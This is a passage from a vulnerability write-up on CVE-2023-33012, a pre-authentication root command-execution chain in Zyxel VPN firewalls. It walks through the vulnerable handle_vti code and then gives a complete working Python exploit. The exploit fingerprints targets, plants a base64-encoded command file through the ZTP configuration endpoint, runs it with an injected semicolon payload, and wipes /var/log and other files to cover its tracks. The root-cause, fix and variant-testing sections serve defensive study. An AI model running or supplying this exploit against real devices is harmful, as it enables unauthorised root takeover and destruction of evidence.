handle_vti contains two vulnerabilities. One allows path traversal with a .qsr postfix, the other allows writing arbitrary content to a file. Path traversal means using ../ style tricks in a filename to escape the folder the programmer intended. The second one matters here, because writing a shell command to a file and then executing that file removes the length limit:
def handle_vti(configlist, idx):
ok = False
qsrname = "/tmp/%s.qsr" % configlist["name"]
logging.info("setting up vti interface")
logging.info("; ".join(["=".join(_) for _ in configlist.items()]))
out = open(qsrname, "w+")
if out:
for k in configlist:
out.write("%s %sn" % (k, configlist[k]))
out.flush()
out.close()
else:
return False
# it's time to create vti interface
# sdwan_iface_ipc 7 vti0 [redacted] 24 [redacted] qsr /tmp/qsr0.txt
params = [
"/usr/sbin/sdwan_iface_ipc",
"7",
configlist["name"],
configlist["ipaddr"],
configlist["netmask"],
]
if "gateway" in configlist:
params.append(configlist["gateway"])
else:
params.append("-")
params.append("qsr")
params.append(qsrname)
response = subprocess.call(params)
if response != (256 >> 8):
logging.info("Apply fail : %d %s" % (response, "".join(params)))
applyresult = ztpinclude.APPLYFAIL
ok = False
else:
f = open("/tmp/ignore-nccubs-vpn-reset", "a")
if f is not None:
f.write("%s," % configlist["name"])
f.close()
ok = True
return ok
Line by line:
qsrname = "/tmp/%s.qsr" % configlist["name"]builds the output filename from the user-controllednamefield. Whatever you put innamebecomes part of the path, and.qsris glued on the end.out = open(qsrname, "w+")opens that file for writing.- The loop
for k in configlist:writes every key and value of the section into the file, one pair per line, in the formkey value. Because the values come from the attacker, the file content is attacker-controlled. out.flush()andout.close()make sure the data is actually written to disk.paramsthen builds the argument list forsdwan_iface_ipc, this time with operation number7, the samename,ipaddrandnetmask, an optionalgatewayor-, then the literalqsrand the filename.subprocess.call(params)runs it, and the return value is checked the same way as before. On success the script appends the interface name to/tmp/ignore-nccubs-vpn-reset.
Step 4: the chain
The three bugs combine into pre-auth root RCE. RCE stands for remote code execution: someone on the network, without an account, gets their own code to run on the device.
- Write an arbitrary command into
/tmp/1.qsrby abusing the QSR file write. - Run
. /tmp/1.qsrthrough the ZTP configuration overwrite and the command injection. - The command executes as root.
Step 2 uses a shell convention: a single dot followed by a space and a filename means "read this file and run its contents in the current shell". It is the same as source in some shells. That is how a 20-byte injected string can trigger a much longer script that was planted in step 1.
The demo shows the chain in action.
Step 5: the proof of concept
#!/usr/bin/python3
import argparse
import base64
import random
import requests
# ignore ssl certification
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
DEBUG = False # True
class Exploit:
def __init__(self, args, https=True):
self.args = args
self.host = args.host
self.command = args.command
self.session = requests.Session()
self.session.verify = False
self.root = f"http://{self.host}:{self.args.port}/"
if https:
self.root = f"https://{self.host}:{self.args.port}/"
def req_post(self, path, data={}, files={}):
url = f"{self.root}{path}"
result = self.session.post(url, data=data, files=files)
if DEBUG:
print(f"[*] req: {url}")
print(data)
print(result.text)
return result
def req_get(self, path, params={}):
url = f"{self.root}{path}"
result = self.session.get(url, params=params)
if DEBUG:
print(f"[*] req: {url}")
print(params)
print(result.text)
return result
def fingerprint(self):
print("[+] fingerprint")
version = ""
title = ""
# version_string = "/ext-js/app/common/zld_product_spec.js"
r = self.req_get("/ext-js/app/common/zld_product_spec.js")
if "ZLDSYSPARM_PRODUCT_NAME1=" in r.text:
title = r.text.split('ZLDSYSPARM_PRODUCT_NAME1="')[1].split('"')[0]
if "ZLDCONFIG_CLOUD_HELP_VERSION=" in r.text:
version = r.text.split("ZLDCONFIG_CLOUD_HELP_VERSION=")[1].split(";")[0]
print(f" title = {title}")
print(f" version = {version}")
return (title, version)
def fingerprint2(self):
print("[+] fingerprint")
version = ""
title = ""
version_string = "/ext-js/app/common/zld_product_spec.js"
r = self.req_get("/")
if version_string in r.text:
version = r.text.split(version_string)[1].split('"')[0]
if "<title>" in r.text:
title = r.text.split("<title>")[1].split("</title>")[0]
print(f" title = {title}")
print(f" version = {version}")
return (title, version)
def run(self):
command = args.command
if type(command) == str:
command = command.encode()
command += (
b" 2>/var/log/ztplog 1>/var/log/ztplogn"
b"((sleep 10 && /bin/rm -rf /tmp/1.qsr /share/ztp/* "
b"/var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &)n"
)
command = base64.b64encode(command)
command = b"echo " + command + b" | base64 -d > /tmp/1.qsr ; . /tmp/1.qsr"
title, version = self.fingerprint()
if not title.startswith("VPN") or version == "" or float(version) < 5.10:
print("[-] invulnerable target")
return
if "ZTP is already enabled." in title:
print("[!] ZTP is already enabled")
print(" ZTP configuration will be clear if you continue")
yes = input(' ENTER "YES" if you want continue: ').strip()
if yes != "YES":
return
print("[+] payload transfer")
payload = b"option proto vtin"
payload += b"option " + command + b";exitn"
payload += b"option name 1n"
config = base64.b64encode(payload)
data = {"config": config, "fqdn": "x00"}
r = self.req_post("/ztp/cgi-bin/parse_config.py", data=data)
if "ParseError: 0xC0DE0005" in r.text:
print("[-] invulnerable")
return
print(" complete")
print("[+] code execution")
localip = (
f"{random.randint(1,255)}.{random.randint(1,255)}."
f"{random.randint(1,255)}.{random.randint(1,255)}".encode()
)
remoteip = (
f"{random.randint(1,255)}.{random.randint(1,255)}."
f"{random.randint(1,255)}.{random.randint(1,255)}".encode()
)
payload = b"option proto gren"
payload += b"option name 0n"
payload += b"option ipaddr ;. /tmp/1.qsr;n"
payload += b"option netmask 24n"
payload += b"option gateway 0n"
payload += b"option localip " + localip + b"n"
payload += b"option remoteip " + remoteip + b"n"
config = base64.b64encode(payload)
data = {"config": config, "fqdn": "x00"}
r = self.req_post("/ztp/cgi-bin/parse_config.py", data=data)
if "ParseError: 0xC0DE0005" in r.text:
print("[-] invulnerable")
return
print(" complete")
print("[+] receive output")
r = self.req_get("/ztp/cgi-bin/dumpztplog.py")
print(
r.text.split("</head>n<body>")[1]
.split("</body>n</html>")[0]
.replace("nn<br>", "")
.replace("[IPC]IPC result: 1n", "")
)
return
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit")
parser.add_argument("host", type=str, help="target host")
parser.add_argument("--port", type=str, help="port", default="443")
parser.add_argument("command", type=str, help="command")
parser.add_argument("--no-https", dest="no_https", action="store_true")
args = parser.parse_args()
https = not args.no_https
s = Exploit(args, https=https)
s.run()
fingerprintfetches/ext-js/app/common/zld_product_spec.jsand pulls the product name fromZLDSYSPARM_PRODUCT_NAME1=and the version fromZLDCONFIG_CLOUD_HELP_VERSION=. Fingerprinting means asking the device what it is before attacking, the way you might check a car's badge before deciding which key to try. The script aborts unless the title starts withVPNand the version is at least 5.10. If the title containsZTP is already enabled.it warns that the ZTP configuration will be cleared and asks forYESbefore continuing.- The user command is appended with redirections to
/var/log/ztplogand/var/log/ztplogn, followed by a backgroundedsleep 10that removes/tmp/1.qsr,/share/ztp/*,/var/log/*,/db/etc/zyxel/ftp/tmp/coredump/*and/tmp/sdwan_interface/*for cleanup. Redirection is the shell's way of sending output to a file instead of the screen;2>handles error output and1>handles normal output. The&puts the cleanup in the background so it does not hold anything up. The whole thing is base64-encoded and wrapped asecho <b64> | base64 -d > /tmp/1.qsr ; . /tmp/1.qsr. That wrapper is short enough to fit the 20-byte limit: it decodes the long command into a file and then runs the file. - The first POST sends a
vtisection whose option line carries that wrapper, withname 1, sohandle_vtiwrites it to/tmp/1.qsr. - The second POST sends a
gresection withname 0,netmask 24,gateway 0, randomlocalipandremoteip, and cruciallyipaddr ;. /tmp/1.qsr;. That value lands inargument[3]of the IPC call, within the 0x14-byte budget, and sources the planted file. The semicolons are the separators that end one command and start another. - Both POSTs go to
/ztp/cgi-bin/parse_config.pywithconfigandfqdn=x00. AParseError: 0xC0DE0005in the response means the socket is missing and the target is not vulnerable. - Output is read back from
/ztp/cgi-bin/dumpztplog.py, stripping the HTML around the log body and the[IPC]IPC result: 1line.
Root cause
The chain rests on three separate mistakes. First, parse_config.py is on the pre-auth allow list and writes attacker-supplied, base64-decoded content to ztpconf.conf without validating it. Second, the IPC path between sdwan_interface and sdwan_iface_ipc copies v31.offset_584 into argument[3] without the filtering applied to the other arguments, and sdwan_interface executes what it receives, as root. Third, handle_vti builds the output path from the user-controlled name field and writes every key/value pair of the section into that file, giving an arbitrary file write with a .qsr suffix.
The product uses execve in most of its code to avoid injection, but the IPC boundary and the VTI file write are not covered by that. The 0x14-byte copy limit in argument[3] is the only constraint on the injected command, and the VTI write removes it by letting the short injected string source a longer script.
Impact
An unauthenticated attacker who can reach the ZTP CGI scripts on an affected device can execute arbitrary commands with root privileges, without any additional local privilege escalation, because sdwan_interface runs as root. The affected models are VPN50, VPN100, VPN300, VPN500 and VPN1000 on firmware 5.21 through 5.36. The advisory notes that recent attack surface changes in Zyxel broke the chain, so as published it is no longer exploitable.
Fix
The issues were published under CVE-2023-33012. The advisory does not describe the specific code changes. In terms of what should change: remove parse_config.py and the other ZTP scripts from the pre-auth allow list where possible, validate and constrain the configuration written to ztpconf.conf, filter or reject the value that reaches argument[3] in the IPC message, and stop building the VTI output path from the user-controlled name field.
Variants to test
- Check other appliances'
httpd.confforAuthZyxelSkipPattern-style allow lists and look for CGI or Python scripts that accept configuration blobs before login. A positive result is a pre-auth path that writes attacker data to a file the parser later consumes. - Send a
configvalue that is not valid base64 to/ztp/cgi-bin/parse_config.pyand look forParseError: 0xC0DE0004; aParseError: 0xC0DE0005means the socket is absent and the IPC path is not reachable. - Try
proto vtisections with differentnamevalues to see whether the.qsrpath can be traversed and whether arbitrary content lands in the file. - Try
proto gresections with metacharacters inipaddrand observe whethersdwan_iface_ipcexecutes them; a positive result is command output appearing in/ztp/cgi-bin/dumpztplog.py. - Fingerprint with
/ext-js/app/common/zld_product_spec.jsand compareZLDCONFIG_CLOUD_HELP_VERSIONagainst the affected range 5.21 to 5.36.
Glossary
- API: a defined way for one program to ask another program to do something, like a menu of requests a kitchen will accept from a waiter.
- Base64: a way of writing arbitrary bytes using only ordinary letters, digits and a few symbols, so the data survives being sent through text-only channels such as web forms.
- Buffer: a fixed-size area of memory a program uses to hold data temporarily, like a tray that holds a set number of items.
- CGI script: a small program that a web server runs when a particular URL is requested, and whose output is sent back as the web page.
- Command injection: tricking a program into treating attacker-supplied data as a command to run.
- Cookie: a small piece of data a website asks your browser to store and send back on later requests, often used to remember that you are logged in.
- CVE: a public identifier for a specific security flaw, so people can refer to it unambiguously.
- execve: the low-level system call that starts a program with a list of arguments directly, without involving a shell.
- Fingerprinting: working out what product and version a device is running before deciding how to proceed.
- Firmware: the software built into a hardware device, which the vendor updates from time to time.
- GRE: Generic Routing Encapsulation, a networking technique for wrapping one kind of traffic inside another; here it is one of the
protovalues a ZTP configuration section can use. - httpd: the web server program that answers HTTP requests on the device.
- Inter-Process Communication (IPC): two programs on the same machine passing messages to each other.
- Local privilege escalation (LPE): a separate trick to climb from a low-privilege account to a higher one on the same machine.
- Path traversal: using
../style tricks in a filename to escape the folder the programmer intended. - POST / GET: the two most common kinds of web request; GET asks for a page, POST sends data to the server.
- Pre-authentication: reachable before anyone has logged in.
- Proof of concept (PoC): a script or set of steps that demonstrates a flaw actually works.
- Redirection: the shell's way of sending a program's output to a file instead of the screen;
1>for normal output,2>for errors. - Remote code execution (RCE): getting your own code to run on someone else's machine over the network.
- Root: the all-powerful account on a Unix-like system, able to do anything.
nobody: a deliberately powerless account used for services that should not be able to do much.- Shell: the program that interprets typed commands, including separators like
;and|. - Socket file: a special file two programs on the same machine use to talk to each other.
- Source (
.): a shell instruction to read a file and run its contents in the current shell. - URL decoding: turning
%XXescapes back into the characters they stand for. - VTI: Virtual Tunnel Interface, a networking construct for tunnels; here it is one of the
protovalues a ZTP configuration section can use. - Zero Touch Provisioning (ZTP): a feature that lets a new device fetch its settings from a central server and configure itself without a person logging in.
- 0x14: hexadecimal for 20, the number of bytes copied into
argument[3].